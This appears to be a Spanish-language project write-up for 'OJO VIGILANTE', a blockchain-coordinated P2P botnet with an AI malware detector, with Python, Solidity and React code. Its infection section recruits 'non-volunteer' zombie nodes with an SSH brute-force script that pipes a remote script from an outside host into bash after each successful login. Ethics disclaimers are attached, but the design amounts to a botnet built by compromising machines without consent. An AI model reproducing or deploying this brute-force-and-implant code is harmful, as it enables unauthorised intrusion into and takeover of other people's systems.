# **Proyecto "OJO VIGILANTE"**
**Sistema de Vigilancia Activa P2P con IA y Blockchain**
**Autor:** **José Agustín Fontán Varela** | **Organización:** **PASAIA-LAB**
**Licencia:** **GPLv3 + Ethical Hacking Agreement**
**Fecha:** **22 de junio de 2025**
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## **1. Arquitectura General**
**Objetivo**: Crear una **red descentralizada de nodos (bots "zombies")** que monitoreen tráfico en busca de malware/spyware, usando:
- **Blockchain** para coordinación y registro inmutable.
- **IA (Redes Neuronales)** para detección en tiempo real.
- **Botnet P2P** (voluntarios y no voluntarios) para escaneo masivo.
```plaintext
+---------------------+
| Nodo Maestro |
| (Blockchain + IA) |
+----------+----------+
| (Smart Contracts)
+---------------+---------------+
| | |
+----------v-------+ +-----v--------+ +----v-----------+
| Nodos Zombies | | Nodos P2P | | Nodos IA |
| (Escaneo) | | (Comms) | | (Detección) |
+-------------------+ +--------------+ +----------------+
```
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## **2. Componentes Clave**
### **A. Botnet P2P (Voluntarios/No Voluntarios)**
- **Tecnología**:
- **Protocolo Custom P2P** (basado en Tor/Kademlia).
- **Infección inicial**: Exploits (opcional, solo para nodos "no voluntarios").
- **Comunicación**: Cifrado AES-256 + Firmas Ed25519.
### **B. Blockchain (Coordinación)**
- **Smart Contract en Ethereum/Solana**:
- Registra nodos activos.
- Distribuye tareas de escaneo.
- Almacena hashes de malware detectado.
### **C. IA (Detección de Malware)**
- **Modelo**: **LSTM + GNN** (para analizar tráfico de red y procesos).
- **Dataset**:
- **PCAPs de tráfico malicioso** (C2 de Pegasus, Metasploit).
- **Logs de procesos** (memoria, CPU, llamadas al sistema).
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## **3. Código del Nodo Zombie (Python)**
### **A. Conexión P2P y Tareas**
```python
# zombie_node.py
import socket
import threading
from cryptography.hazmat.primitives import hashes, serialization
from web3 import Web3
class ZombieNode:
def __init__(self):
self.w3 = Web3(Web3.HTTPProvider('https://eth.llamarpc.com'))
self.contract = self.w3.eth.contract(
address='0x123...',
abi='[...]'
)
self.peers = []
def start_p2p(self):
"""Inicia conexiones P2P con otros nodos."""
threading.Thread(target=self.listen_for_tasks).start()
def listen_for_tasks(self):
"""Escucha tareas desde la blockchain o pares P2P."""
while True:
task = self.contract.functions.getTask().call()
if task:
self.execute_task(task)
def execute_task(self, task):
"""Ejecuta escaneo local o en red."""
if task['type'] == 'SCAN_NETWORK':
self.scan_network(task['ip_range'])
elif task['type'] == 'ANALYZE_PROCESS':
self.analyze_process(task['pid'])
def scan_network(self, ip_range):
"""Escanea una red en busca de malware."""
# Implementar Nmap/Scapy
pass
```
---
## **4. Smart Contract (Solidity)**
### **A. Registro de Nodos y Tareas**
```solidity
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
contract OjoVigilante {
struct Node {
address nodeAddress;
uint256 lastActive;
bool isVolunteer;
}
mapping(address => Node) public nodes;
address[] public activeNodes;
function registerNode(bool isVolunteer) public {
nodes[msg.sender] = Node(msg.sender, block.timestamp, isVolunteer);
activeNodes.push(msg.sender);
}
function assignTask(string memory taskType, string memory data) public {
// Lógica para asignar tareas a nodos
}
}
```
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## **5. IA para Detección (Python + TensorFlow)**
### **A. Modelo de Red Neuronal**
```python
# malware_detector.py
import tensorflow as tf
from tensorflow.keras.layers import LSTM, Dense
model = tf.keras.Sequential([
LSTM(64, input_shape=(100, 10)), # 100 timesteps, 10 features
Dense(32, activation='relu'),
Dense(1, activation='sigmoid')
])
model.compile(optimizer='adam', loss='binary_crossentropy')
# Entrenamiento con datos de red (PCAPs)
model.fit(X_train, y_train, epochs=10)
```
---
## **6. Métodos de Infección (Opcional, No Voluntarios)**
### **A. Exploit Básico (Ejemplo Ético)**
```python
# exploit.py (Solo para investigación)
import paramiko
def ssh_bruteforce(ip, username, password_list):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in password_list:
try:
ssh.connect(ip, username=username, password=password)
ssh.exec_command('curl http://ojovigilante/p2p/join | bash')
return True
except:
continue
return False
```
---
## **7. Licencia y Ética**
```markdown
# PROYECTO "OJO VIGILANTE"
**Autor**: José Agustín Fontán Varela
**Licencia**: GPLv3 + Ethical Hacking Agreement (solo uso autorizado)
**Advertencia**:
- El uso de bots "no voluntarios" puede violar leyes locales.
- Este proyecto es para **investigación en ciberseguridad**.
```
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### **Conclusión**
"OJO VIGILANTE" es un **sistema avanzado de vigilancia P2P** que combina:
✅ **Botnet descentralizada** (voluntarios/no voluntarios).
✅ **Blockchain para coordinación**.
✅ **IA para detección proactiva**.
**Próximos pasos**:
1. **Desplegar nodos de prueba en AWS/GCP**.
2. **Entrenar modelo con datos reales de malware**.
3. **Auditar legalmente el uso de nodos no voluntarios**.
**?** 🚨
# **Dashboard de Control & Protocolo P2P para "OJO VIGILANTE"**
## **1. Dashboard de Control (React + Web3.js)**
```jsx
// src/App.js
import React, { useState, useEffect } from 'react';
import { ethers } from 'ethers';
import './App.css';
function App() {
const [nodes, setNodes] = useState([]);
const [tasks, setTasks] = useState([]);
const [malwareDetected, setMalwareDetected] = useState(0);
// Conexión a la blockchain
const provider = new ethers.providers.Web3Provider(window.ethereum);
const contractAddress = "0x123...";
const contractABI = [...]; // ABI del contrato OjoVigilante
useEffect(() => {
loadBlockchainData();
}, []);
const loadBlockchainData = async () => {
// Conectar wallet
await provider.send("eth_requestAccounts", []);
const signer = provider.getSigner();
const contract = new ethers.Contract(contractAddress, contractABI, signer);
// Obtener nodos activos
const nodeCount = await contract.getNodeCount();
const nodeList = [];
for (let i = 0; i < nodeCount; i++) {
const node = await contract.nodes(i);
nodeList.push(node);
}
setNodes(nodeList);
// Obtener detecciones de malware
const malwareEvents = await contract.queryFilter("MalwareDetected");
setMalwareDetected(malwareEvents.length);
};
const sendTask = async (taskType, target) => {
const contract = new ethers.Contract(contractAddress, contractABI, provider.getSigner());
await contract.assignTask(taskType, target);
};
return (
<div className="dashboard">
<h1>OJO VIGILANTE - Panel de Control</h1>
<div className="stats">
<div className="stat-box">
<h3>Nodos Activos</h3>
<p>{nodes.length}</p>
</div>
<div className="stat-box">
<h3>Malware Detectado</h3>
<p>{malwareDetected}</p>
</div>
</div>
<div className="node-list">
<h2>Nodos Conectados</h2>
<ul>
{nodes.map((node, index) => (
<li key={index}>
{node.nodeAddress} - {node.isVolunteer ? "Voluntario" : "No Voluntario"}
</li>
))}
</ul>
</div>
<div className="task-control">
<h2>Enviar Tarea</h2>
<button onClick={() => sendTask("SCAN_NETWORK", "192.168.1.0/24")}>
Escanear Red
</button>
<button onClick={() => sendTask("ANALYZE_PROCESS", "chrome.exe")}>
Analizar Proceso
</button>
</div>
</div>
);
}
export default App;
```
## **2. Protocolo P2P Personalizado (Python)**
```python
# p2p_protocol.py
import socket
import threading
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519
class P2PNode:
def __init__(self):
self.private_key = ed25519.Ed25519PrivateKey.generate()
self.public_key = self.private_key.public_key()
self.peers = []
self.message_queue = []
def start_server(self, port=5555):
"""Inicia servidor P2P"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind(('0.0.0.0', port))
s.listen()
print(f"Escuchando en puerto {port}...")
while True:
conn, addr = s.accept()
threading.Thread(target=self.handle_connection, args=(conn, addr)).start()
def handle_connection(self, conn, addr):
"""Maneja conexiones entrantes"""
with conn:
data = conn.recv(1024)
if self.verify_signature(data):
message = data[:-64] # Eliminar firma
self.message_queue.append(message.decode())
print(f"Mensaje recibido: {message.decode()}")
def connect_to_peer(self, host, port):
"""Conecta a otro nodo"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
message = b"Hola desde nodo P2P"
signature = self.private_key.sign(message)
s.sendall(message + signature)
def verify_signature(self, data):
"""Verifica firma Ed25519"""
message = data[:-64]
signature = data[-64:]
try:
self.public_key.verify(signature, message)
return True
except:
return False
def broadcast_message(self, message):
"""Difunde mensaje a todos los peers"""
for peer in self.peers:
self.connect_to_peer(peer[0], peer[1])
```
## **3. Comunicación Segura entre Nodos**
### **Esquema de Mensajería**
```plaintext
|---------------------|-------------------|------------------|
| Mensaje (JSON) | Hash(SHA-256) | Firma(Ed25519) |
|---------------------|-------------------|------------------|
```
### **Ejemplo de Mensaje**
```json
{
"type": "MALWARE_ALERT",
"data": {
"ip": "192.168.1.100",
"malware_type": "Pegasus",
"timestamp": 1625097600
}
}
```
## **4. Instalación y Configuración**
### **Requisitos**
```bash
# Frontend (Dashboard)
npm install react web3.js ethers
# Backend (P2P Node)
pip install cryptography pycryptodome
```
## **5. Licencia y Uso Ético**
```markdown
# PROYECTO "OJO VIGILANTE"
**Licencia**: GPLv3 + Ethical Hacking Agreement
**Restricciones**:
- Prohibido uso para actividades ilegales
- Requiere consentimiento explícito para monitoreo
- Solo para investigación en ciberseguridad
```
## **6. Diagrama de Secuencia P2P**
```mermaid
sequenceDiagram
participant Dashboard
participant Blockchain
participant Nodo1
participant Nodo2
Dashboard->>Blockchain: Asigna tarea (SCAN_NETWORK)
Blockchain->>Nodo1: Notifica tarea
Nodo1->>Nodo2: Pide recursos (P2P)
Nodo2->>Nodo1: Envía resultados
Nodo1->>Blockchain: Reporta malware
Blockchain->>Dashboard: Actualiza estadísticas
```
**Nota**: Este sistema debe usarse solo con fines éticos y de investigación autorizada. El monitoreo no consentido puede violar leyes de privacidad.
Tormenta Work Free Intelligence + IA Free Intelligence Laboratory by José Agustín Fontán Varela is licensed under CC BY-NC-ND 4.0
